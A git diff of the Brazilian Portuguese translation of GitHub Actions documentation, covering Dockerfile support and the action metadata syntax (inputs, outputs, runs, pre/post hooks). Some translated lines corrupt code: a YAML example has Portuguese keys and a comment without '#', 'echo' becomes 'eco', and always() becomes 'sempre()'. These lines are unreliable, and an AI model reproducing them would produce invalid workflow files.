+O seu código deve ser executável. Certifique-se de que o arquivo `entrypoint.sh`tenha permissões `de execução` antes de usá-lo em um fluxo de trabalho. Você pode modificar as permissões a partir do seu terminal usando este comando:
   ``` sh
   chmod +x entrypoint.sh
   ```
 
-When an `ENTRYPOINT` shell script is not executable, you'll receive an error similar to this:
+Quando o script do shell de um `ENTRYPOINT` não for executável, você receberá uma mensagem de erro semelhante à mensagem a seguir:
 
 ``` sh
-Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown
+Resposta de erro do daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown
 ```
 
 ### CMD
 
-If you define `args` in the action's metadata file, `args` will override the `CMD` instruction specified in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)".
+Se você definir os `args` no arquivo de metadados da ação, os `args` irão substituir a instrução `CMD` especificada no `arquivo Docker`. Para obter mais informações, consulte "[Sintaxe dos metadados para {% data variables.product.prodname_actions %}}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)".
 
-If you use `CMD` in your `Dockerfile`, follow these guidelines:
+Se você usar `CMD` no seu `arquivo Docker`, siga essas diretrizes:
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-## Supported Linux capabilities
+## Recursos compatíveis com o Linux
 
-{% data variables.product.prodname_actions %} supports the default Linux capabilities that Docker supports. Capabilities can't be added or removed. For more information about the default Linux capabilities that Docker supports, see "[Runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)" in the Docker documentation. To learn more about Linux capabilities, see "[Overview of Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html)" in the Linux man-pages.
+{% data variables.product.prodname_actions %} suporta os recursos-padrão compatíveis com o Linux que são compatíveis com o Docker. Não é possível adicionar ou remover recursos. Para obter mais informações sobre os recursos-padrão compatíveis com o Linux e com o Docker, consulte "[Privilégio do momento de execução e recursos do Linux](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)" na documentação do Docker. Para aprender mais sobre os recursos do Linux, consulte "[Visão geral dos recursos do Linux](http://man7.org/linux/man-pages/man7/capabilities.7.html)" nas páginas do manual do Linux.
diff --git a/translations/pt-BR/content/actions/creating-actions/index.md b/translations/pt-BR/content/actions/creating-actions/index.md
index 1d91ced73d..5778d507c7 100644
--- a/translations/pt-BR/content/actions/creating-actions/index.md
+++ b/translations/pt-BR/content/actions/creating-actions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Creating actions
-intro: 'You can create your own actions, use and customize actions shared by the {% data variables.product.prodname_dotcom %} community, or write and share the actions you build.'
+title: Criar ações
+intro: 'Você pode criar as suas próprias ações, usar e personalizar ações compartilhadas pela comunidade {% data variables.product.prodname_dotcom %} ou escrever e compartilhar as ações que você criar.'
 redirect_from:
   - /articles/building-actions
   - /github/automating-your-workflow-with-github-actions/building-actions
@@ -24,5 +24,6 @@ children:
   - /releasing-and-maintaining-actions
   - /developing-a-third-party-cli-action
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/pt-BR/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/translations/pt-BR/content/actions/creating-actions/metadata-syntax-for-github-actions.md
index 2c0ebd6eaf..0b6639fb66 100644
--- a/translations/pt-BR/content/actions/creating-actions/metadata-syntax-for-github-actions.md
+++ b/translations/pt-BR/content/actions/creating-actions/metadata-syntax-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Metadata syntax for GitHub Actions
-shortTitle: Metadata syntax
-intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax.
+title: Sintaxe de metadados para o GitHub Actions
+shortTitle: Sintaxe dos metadados
+intro: Você pode criar ações para executar tarefas no repositório. As ações requerem um arquivo de metadados que usa sintaxe YAML.
 redirect_from:
   - /articles/metadata-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions
@@ -18,31 +18,31 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About YAML syntax for {% data variables.product.prodname_actions %}
+## Sobre sintaxe YAML para o {% data variables.product.prodname_actions %}
 
-Docker and JavaScript actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs and main entrypoint for your action.
+Ações Docker e JavaScript requerem um arquivo de metadados. O nome do arquivo dos metadados deve ser `action.yml` ou `action.yaml`. Os dados no arquivo de metadados definem as entradas, as saídas e o ponto de entrada principal para sua ação.
 
-Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
+Arquivos de metadados de ação usam a sintaxe YAML. Se você não souber o que é YAML, consulte "[Aprender a usar YAML em cinco minutos](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)".
 
 ## `name`
 
-**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job.
+**Necessário**: O nome de sua ação. O {% data variables.product.prodname_dotcom %} exibe o `nome` na aba **Ações** para facilitar a identificação visual das ações em cada trabalho.
 
-## `author`
+## `autor`
 
-**Optional** The name of the action's author.
+**Opcional**: O nome do autor da ação.
 
-## `description`
+## `descrição`
 
-**Required** A short description of the action.
+**Necessário**: uma descrição curta da ação.
 
 ## `inputs`
 
-**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.
+**Opcional**: parâmetros de entrada permitem que você especifique os dados que a ação espera usar no momento da execução. O {% data variables.product.prodname_dotcom %} armazena parâmetros como variáveis de ambiente. Identificações de entrada com letras maiúsculas são alteradas para letras minúsculas no momento da execução. Recomenda-se usar identificações de entrada com letras minúsculas.
 
-### Example
+### Exemplo
 
-This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)."
+Este exemplo configura duas entradas: numOctocats e octocatEyeColor. A entrada numOctocats não é necessária e assumirá o valor '1'. A entrada octocatEyeColor é necessária e não tem valor padrão. Arquivos de fluxo de trabalho que usam essa ação devem usar a palavra-chave `with` (com) para definir um valor de entrada para octocatEyeColor. Para obter mais informações sobre a sintaxe `with` (com), consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)".
 
 ```yaml
 inputs:
@@ -55,61 +55,61 @@ inputs:
     required: true
 ```
 
-When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters.
+Quando você especifica uma entrada em um arquivo de fluxo de trabalho ou usar um valor de entrada padrão, o {% data variables.product.prodname_dotcom %} criará uma variável de ambiente para a entrada com o nome `INPUT_<VARIABLE_NAME>`. A variável de ambiente criada altera os nomes de entrada para letras maiúsculas e substitui espaços por caracteres `_`.
 
-If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. If the conversion doesn't occur, you can change these inputs manually. 
+Se a ação for escrita usando um [composto](/actions/creating-actions/creating-a-composite-action), ela não receberá `INPUT_<VARIABLE_NAME>` automaticamente. Se não ocorrer a conversão, você poderá alterar estas entradas manualmente.
 
-To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)."
+Para acessar a variável de ambiente em uma ação do contêiner do Docker, você deverá passar a entrada usando a palavra-chave `args` no arquivo de metadados da ação. Para obter mais informações sobre o arquivo de metadados de ação para ações de contêiner do Docker, consulte "[Criar uma ação de contêiner do Docker](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)".
 
-For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables.
+Por exemplo, se um fluxo de trabalho definiu as entradas `numOctocats` e `octocatEyeColor`, o código de ação poderia ler os valores das entradas usando as variáveis de ambiente do `INPUT_NUMTOCATS` e `INPUT_OCTOCATEYECOLOR`.
 
 ### `inputs.<input_id>`
 
-**Required** A `string` identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the `inputs` object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**Necessário**: um identificador `string` para associar à entrada. O valor de `<input_id>` é um mapa dos metadados da entrada. `<input_id>` deve ser um identificador único dentro do objeto `inputs` (entradas). `<input_id>` deve iniciar com uma letra ou `_` e conter somente caracteres alfanuméricos, `-` ou `_`.
 
 ### `inputs.<input_id>.description`
 
-**Required** A `string` description of the input parameter.
+**Necessário**: descrição de `string` do parâmetro de entrada.
 
 ### `inputs.<input_id>.required`
 
-**Required** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.
+**Necessário**: um `booleano` para indicar se a ação exige o parâmetro de entrada. Defina para `true` quando o parâmetro for necessário.
 
 ### `inputs.<input_id>.default`
 
-**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file.
+**Opcional**: uma `string` que representa o valor padrão. O valor padrão é usado quando um parâmetro de entrada não é especificado em um arquivo de fluxo de trabalho.
 
 ### `inputs.<input_id>.deprecationMessage`
 
-**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives.
+**Opcional** Se o parâmetro de entrada for usado, esta `string` será registrada como uma mensagem de aviso. Você pode usar este aviso para notificar os usuários de que o valor de entrada está obsoleto e mencionar outras alternativas.
 
-## `outputs`
+## `outputs (saídas)`
 
-**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions.  For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.
+**Opcional** Os parâmetros de saída permitem que você declare os dados definidos por uma ação. As ações executadas posteriormente em um fluxo de trabalho podem usar os dados de saída definidos em ações executadas anteriormente.  Por exemplo, se uma ação executou a adição de duas entradas (x + y = z), a ação poderia usar o resultado da soma (z) como entrada em outras ações.
 
-If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)."
+Se você não declarar uma saída no seu arquivo de metadados de ação, você ainda poderá definir as saídas e usá-las no seu fluxo de trabalho. Para obter mais informações sobre a definição de saídas em uma ação, consulte "[Comandos do fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)."
 
-### Example
+### Exemplo
 
 ```yaml
-outputs:
-  sum: # id of the output
-    description: 'The sum of the inputs'
+saídas:
+  soma: número do ID da saída
+    descrição: 'Soma das entradas'
 ```
 
 ### `outputs.<output_id>`
 
-**Required** A `string` identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the `outputs` object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**Necessário**: um identificador `string` para associar à saída. O valor de `<output_id>` é um mapa dos metadados de saída. `<output_id>` deve ser um identificador único dentro do objeto `outputs` (saídas). `<output_id>` deve iniciar com uma letra ou `_` e conter somente caracteres alfanuméricos, `-` ou `_`.
 
 ### `outputs.<output_id>.description`
 
-**Required** A `string` description of the output parameter.
+**Necessário**: descrição de `string` do parâmetro de saída.
 
-## `outputs` for composite actions
+## `outputs` para ações compostas
 
-**Optional** `outputs` use the same parameters as `outputs.<output_id>` and `outputs.<output_id>.description` (see "[`outputs` for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), but also includes the `value` token.
+As **saídas** `opcionais` usam os mesmos parâmetros que `outputs.<output_id>` e `outputs.<output_id>.description` (veja "[`saídas` para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), mas também inclui o token do `valor`.
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -128,19 +128,19 @@ runs:
 
 ### `outputs.<output_id>.value`
 
-**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step.
+**Obrigatório** O valor com o qual o parâmetro de saída será mapeado. Você pode defini-lo como uma `string` ou uma expressão com contexto. Por exemplo, você pode usar o contexto das `etapas` para definir o `valor` de uma saída como o valor de saída de uma etapa.
 
-For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)."
+Para obter mais informações sobre como usar a sintaxe de contexto, consulte "[Contextos](/actions/learn-github-actions/contexts)".
 
 ## `runs`
 
-**Required** Specifies whether this is a JavaScript action, a composite action or a Docker action and how the action is executed.
+**Obrigatório** Especifica se esta é uma ação do JavaScript, uma ação composta ou uma ação do Docker e como a ação é executada.
 
-## `runs` for JavaScript actions
+## `runs` para ações de JavaScript
 
-**Required** Configures the path to the action's code and the runtime used to execute the code.
+**Obrigatório** Configura o caminho para o código da ação e o tempo de execução usado para executar o código.
 
-### Example using Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}v16{% else %}v12{% endif %}
+### Exemplo que usa o Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}v16{% else %}v12{% endif %}
 
 ```yaml
 runs:
@@ -150,20 +150,20 @@ runs:
 
 ### `runs.using`
 
-**Required** The runtime used to execute the code specified in [`main`](#runsmain).  
+**Obrigatório** O tempo de execução usado para executar o código especificado em [`principal`](#runsmain).
 
-- Use `node12` for Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}
-- Use `node16` for Node.js v16.{% endif %}
+- Use `node12` para o Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}
+- Use o `node16` para o Node.js v16.{% endif %}
 
 ### `runs.main`
 
-**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing) executes this file.
+**Obrigatório** O arquivo que contém o código da ação. O tempo de execução especificado [`em uso`](#runsusing) executa este arquivo.
 
 ### `pre`
 
-**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**Opcional** Permite que você execute um script no início de um trabalho antes de a ação `main:` começar. Por exemplo, você pode usar `pre:` para executar um pré-requisito da configuração do script. O tempo de execução especificado com a sintaxe [`em uso`](#runsusing) irá executar este arquivo. A ação `pre:` é sempre executada como padrão, mas você pode substituí-la usando [`pre-if`](#pre-if).
 
-In this example, the `pre:` action runs a script called `setup.js`:
+Neste exemplo, a ação `pre:` executa um script denominado `setup.js.`:
 
 ```yaml
 runs:
@@ -175,11 +175,11 @@ runs:
 
 ### `pre-if`
 
-**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. In `pre-if`, status check functions evaluate against the job's status, not the action's own status.
+**Opcional** Permite que você defina condições para a execução da ação `pre:`. A ação `pre:` será executada apenas se as condições em `pre-if` forem atendidas. Se não forem definidas, o padrão de `pre-if` será `sempre()`. Em `pre-if`, verifique as funções para avaliar com base no status do trabalho, não o status próprio da ação.
 
-Note that the `step` context is unavailable, as no steps have run yet.
+Observe que o contexto da `etapa` está indisponível, uma vez que nenhuma etapa foi executada ainda.
 
-In this example, `cleanup.js` only runs on Linux-based runners:
+Neste exemplo, o `cleanup.js` é executado apenas nos executores baseados no Linux:
 
 ```yaml
   pre: 'cleanup.js'
@@ -188,9 +188,9 @@ In this example, `cleanup.js` only runs on Linux-based runners:
 
 ### `post`
 
-**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+**Opcional** Permite que você execute um script no final do trabalho, uma vez que a ação `main:` foi finalizada. Por exemplo, você pode usar `post:` para encerrar uns processos ou remover arquivos desnecessários. O tempo de execução especificado com a sintaxe [`em uso`](#runsusing) irá executar este arquivo.
 
-In this example, the `post:` action runs a script called `cleanup.js`:
+Neste exemplo, a ação `post:` executa um script chamado `cleanup.js`:
 
 ```yaml
 runs:
@@ -199,41 +199,41 @@ runs:
   post: 'cleanup.js'
 ```
 
-The `post:` action always runs by default but you can override this using `post-if`.
+A ação `post:` é executada sempre por padrão, mas você pode substituí-la usando `post-if`.
 
 ### `post-if`
 
-**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`. In `post-if`, status check functions evaluate against the job's status, not the action's own status.
+**Opcional** Permite que você defina condições para a execução da ação `post:`. A ação `post:` só será executada se as condições em `post-if` forem atendidas. Se não forem definidas, o padrão de `post-if` será `sempre()`. Em `post-if`, verifique as funções para avaliar com base no status do trabalho, não o status próprio da ação.
 
-For example, this `cleanup.js` will only run on Linux-based runners:
+Por exemplo, este `cleanup.js` só será executado em executores baseados no Linux:
 
 ```yaml
   post: 'cleanup.js'
   post-if: runner.os == 'linux'
 ```
 
-## `runs` for composite actions
+## `runs` para ações compostas
 
-**Required** Configures the path to the composite action.
+**Obrigatório** Configura o caminho da ação composta.
 
 ### `runs.using`
 
-**Required** You must set this value to `'composite'`.
+**Obrigatório** Você deve definir este valor como`'composto'`.
 
 ### `runs.steps`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps.
+**Obrigatório** As etapas de que você planeja executar nesta ação. Elas podem ser etapas de `run` ou etapas de `uses`.
 {% else %}
-**Required** The steps that you plan to run in this action.
+**Obrigatório** As etapas de que você planeja executar nesta ação.
 {% endif %}
 
 #### `runs.steps[*].run`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The command you want to run. This can be inline or a script in your action repository:
+**Optional** O comando que você deseja executar. Isso pode ser inline ou um script no seu repositório de ação:
 {% else %}
-**Required** The command you want to run. This can be inline or a script in your action repository:
+**Obrigatório** O comando que você deseja executar. Isso pode ser inline ou um script no seu repositório de ação:
 {% endif %}
 
 {% raw %}
@@ -246,7 +246,7 @@ runs:
 ```
 {% endraw %}
 
-Alternatively, you can use `$GITHUB_ACTION_PATH`:
+Como alternativa, você pode usar `$GITHUB_ACTION_PATH`:
 
 ```yaml
 runs:
@@ -256,25 +256,25 @@ runs:
       shell: bash
 ```
 
-For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+Para obter mais informações, consulte "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
 
 #### `runs.steps[*].shell`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+**Opcional** O shell onde você deseja executar o comando. Você pode usar qualquer um dos shells listados [aqui](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Obrigatório se `run` estiver configurado.
 {% else %}
-**Required** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+**Obrigatório** O shell onde você quer executar o comando. Você pode usar qualquer um dos shells listados [aqui](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Obrigatório se `run` estiver configurado.
 {% endif %}
 
 #### `runs.steps[*].if`
 
-**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
+**Opcional** Você pode usar o `if` condicional para evitar que uma etapa seja executada, a menos que uma condição seja atendida. Você pode usar qualquer contexto e expressão compatível para criar uma condicional.
 
-{% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+{% data reusables.github-actions.expression-syntax-if %} Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-**Example: Using contexts**
+**Exemplo: Usando contextos**
 
- This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
+ Essa etapa somente é executada quando o tipo de evento é uma `pull_request` e a ação do evento é `unassigned` (não atribuída).
 
  ```yaml
 steps:
@@ -282,9 +282,9 @@ steps:
     if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %}
 ```
 
-**Example: Using status check functions**
+**Exemplo: Usando funções de verificação de status**
 
-The `my backup step` only runs when the previous step of a composite action fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+A função `my backup step` somente é executada quando houver falha uma ação composta da etapa anterior do trabalho. Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions#job-status-check-functions)".
 
 ```yaml
 steps:
@@ -297,31 +297,31 @@ steps:
 
 #### `runs.steps[*].name`
 
-**Optional** The name of the composite step.
+**Opcional** O nome da etapa composta.
 
 #### `runs.steps[*].id`
 
-**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+**Opcional** Um identificador único para a etapa. Você pode usar `id` para fazer referência à etapa em contextos. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts)".
 
 #### `runs.steps[*].env`
 
-**Optional**  Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
+**Opcional**  Define um `mapa` de variáveis de ambiente apenas para essa etapa. Se você deseja modificar a variável de ambiente armazenada no fluxo de trabalho, use `eco "{name}={value}" >> $GITHUB_ENV` em uma etapa composta.
 
 #### `runs.steps[*].working-directory`
 
-**Optional**  Specifies the working directory where the command is run.
+**Opcional**  Especifica o diretório de trabalho onde o comando é executado.
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
 #### `runs.steps[*].uses`
 
-**Optional**  Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+**Opcional**  Seleciona uma ação a ser executada como parte de uma etapa do seu trabalho. A ação é uma unidade reutilizável de código. Você pode usar uma ação definida no mesmo repositório que o fluxo de trabalho, um repositório público ou em uma [imagem publicada de contêiner Docker](https://hub.docker.com/).
 
-We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
-- Using the commit SHA of a released action version is the safest for stability and security.
-- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
-- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+É altamente recomendável incluir a versão da ação que você está usando ao especificar um número de tag Docker, SHA ou ref do Git. Se você não especificar uma versão, ela poderá interromper seus fluxos de trabalho ou causar um comportamento inesperado quando o proprietário da ação publicar uma atualização.
+- Usar o commit SHA de uma versão de ação lançada é a maneira mais garantida de obter estabilidade e segurança.
+- Usar a versão principal da ação permite receber correções importantes e patches de segurança sem perder a compatibilidade. Fazer isso também garante o funcionamento contínuo do fluxo de trabalho.
+- Usar o branch-padrão de uma ação pode ser conveniente, mas se alguém lançar uma nova versão principal com uma mudança significativa, seu fluxo de trabalho poderá ter problemas.
 
-Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+Algumas ações requerem entradas que devem ser definidas com a palavra-chave [`com`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith). Revise o arquivo README da ação para determinar as entradas obrigatórias.
 
 ```yaml
 runs:
@@ -347,7 +347,7 @@ runs:
 
 #### `runs.steps[*].with`
 
-**Optional**  A `map` of the input parameters defined by the action. Each input parameter is a key/value pair.  Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.
+**Opcional**  Um `mapa` dos parâmetros de entrada definidos pela ação. Cada parâmetro de entrada é um par chave/valor.  Parâmetros de entrada são definidos como variáveis de ambiente. A variável é precedida por INPUT_ e convertida em letras maiúsculas.
 
 ```yaml
 runs:
@@ -362,11 +362,11 @@ runs:
 ```
 {% endif %}
 
-## `runs` for Docker actions
+## `runs` para ações do Docker
 
-**Required** Configures the image used for the Docker action.
+**Obrigatório** Configura a imagem usada para a ação Docker.
 
-### Example using a Dockerfile in your repository
+### Exemplos de uso do arquivo Docker no repositório
 
 ```yaml
 runs:
@@ -374,7 +374,7 @@ runs:
   image: 'Dockerfile'
 ```
 
-### Example using public Docker registry container
+### Exemplo usando um contêiner de registro Docker público
 
 ```yaml
 runs:
@@ -384,15 +384,15 @@ runs:
 
 ### `runs.using`
 
-**Required** You must set this value to `'docker'`.
+**Obrigatório** Você deve definir este valor como `'docker'`.
 
 ### `pre-entrypoint`
 
-**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**Opcional** Permite que você execute um script antes de a ação do `entrypoint` começar. Por exemplo, você pode usar o `pre-entrypoint:` para executar um pré-requisito do script da configuração. {% data variables.product.prodname_actions %} usa a `execução do docker` para lançar esta ação e executa o script dentro de um novo contêiner que usa a mesma imagem-base. Isso significa que o momento de execução é diferente do contêiner principal do `entrypoint` e qualquer status de que você precisar devem ser acessado na área de trabalho, em `HOME`, ou como uma variável `STATE_`. A ação `pre-entrypoint:` é sempre executada por padrão, mas você pode substituí-la usando [`pre-if`](#pre-if).
 
-The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+O tempo de execução especificado com a sintaxe [`em uso`](#runsusing) irá executar este arquivo.
 
-In this example, the `pre-entrypoint:` action runs a script called `setup.sh`:
+Neste exemplo, a ação `pre-entrypoint:` executa um script denominado `setup.sh`:
 
 ```yaml
 runs:
@@ -406,21 +406,21 @@ runs:
 
 ### `runs.image`
 
-**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file.
+**Obrigatório ** A imagem do Docker a ser usada como contêiner para executar a ação. O valor pode ser o nome da imagem de base do Docker, um `arquivo Docker` local no seu repositório u uma imagem pública no Docker Hub ou outro registro. Para fazer referência a um `arquivo Docker` local no seu repositório, o arquivo precisa ser denominado `arquivo Docker` e você precisa usar um caminho relativo ao seu arquivo de metadados de ação. O aplicativo do `docker` executará este arquivo.
 
 ### `runs.env`
 
-**Optional** Specifies a key/value map of environment variables to set in the container environment.
+**Opcional** Especifica um mapa da chave/valor das variáveis do ambiente a serem definidas no ambiente do contêiner.
 
 ### `runs.entrypoint`
 
-**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction.
+**Opcional** Substitui o `ENTRYPOINT` do Docker no `arquivo Docker` ou o define, caso nenhum já tenha sido especificado. Use o `entrypoint` quando o `arquivo Docker` não especificar um `ENTRYPOINT` ou você desejar substituir a instrução do`ENTRYPOINT`. Se você omitir o `entrypoint`, serão executados os comandos que você especificar na instrução do `ENTRYPOINT` do Docker. A instrução do `ENTRYPOINT` do Docker tem forma de _shell_ e forma de _exec_. A documentação do `ENTRYPOINT` do docker recomenda o uso da forma _exec_ da instrução do `ENTRYPOINT`.
 
-For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)."
+Para obter mais informações sobre como o `entrypoint` é executado, consulte "[Suporte do arquivo Docker para {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)".
 
 ### `post-entrypoint`
 
-**Optional**  Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because  {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`post-if`](#post-if).
